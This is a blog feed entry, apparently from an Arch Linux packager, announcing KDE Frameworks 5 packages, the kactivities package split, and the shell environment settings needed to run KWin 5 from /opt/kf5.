&lt;p&gt;Thanks to &lt;a href="http://ivan.fomentgroup.org/home/"&gt;Ivan Čukić&lt;/a&gt; tip both &lt;em&gt;kactivities&lt;/em&gt; packages have been split between binary and libraries. In fact, Ivan told me &lt;strong&gt;KDE 4 needs kactivities 4.x&lt;/strong&gt; libraries, but it works with &lt;em&gt;kactivitymanagerd&lt;/em&gt; ship by &lt;em&gt;kactivities&lt;/em&gt; from KDE Frameworks.&lt;/p&gt;

&lt;p&gt;For this reason &lt;em&gt;kactivities4&lt;/em&gt; and &lt;em&gt;kactivities-framework&lt;/em&gt; Arch Linux packages provide a &lt;em&gt;kactivities&lt;/em&gt; virtual package which allows KDE 4 users to install KDE Framework 5 on the same system under &lt;em&gt;/usr&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The packages are part of two groups to simplify installation: &lt;a href="https://www.archlinux.org/groups/x86_64/kf5/"&gt;kf5&lt;/a&gt; and &lt;a href="https://www.archlinux.org/groups/x86_64/kf5-aids/"&gt;kf5-aids&lt;/a&gt; (PortingAids).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Plasma Next&lt;/em&gt; packages will (hopefully!) follow in the next days, but they will go in [kde-unstable] instead. Also, their prefix will be &lt;em&gt;/opt/kf5&lt;/em&gt; so they are co-installable.&lt;/p&gt;

&lt;p&gt;Happy &lt;code&gt;pacman -S kf5 kf5-aids&lt;/code&gt; and enjoy KDE Frameworks libraries!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; &lt;em&gt;KWin 5&lt;/em&gt; is already in [kde-unstable]!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I’ve been asked several times now, so here are the instructions on how to run Plasma Next components, e.g. &lt;em&gt;KWin 5&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;
# pacman -S kwin oxygen
$ export KF5=/opt/kf5
$ export QML2_IMPORT_PATH=$KF5/lib/qt/qml:/usr/lib/qt/qml
$ export QT_PLUGIN_PATH=$KF5/lib/qt/plugins:/usr/lib/qt/plugins
$ export XDG_CONFIG_DIRS=$KF5/etc/xdg:/etc/xdg
$ export PATH=$KF5/bin:$PATH
$ kwin --replace
&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
</feed>

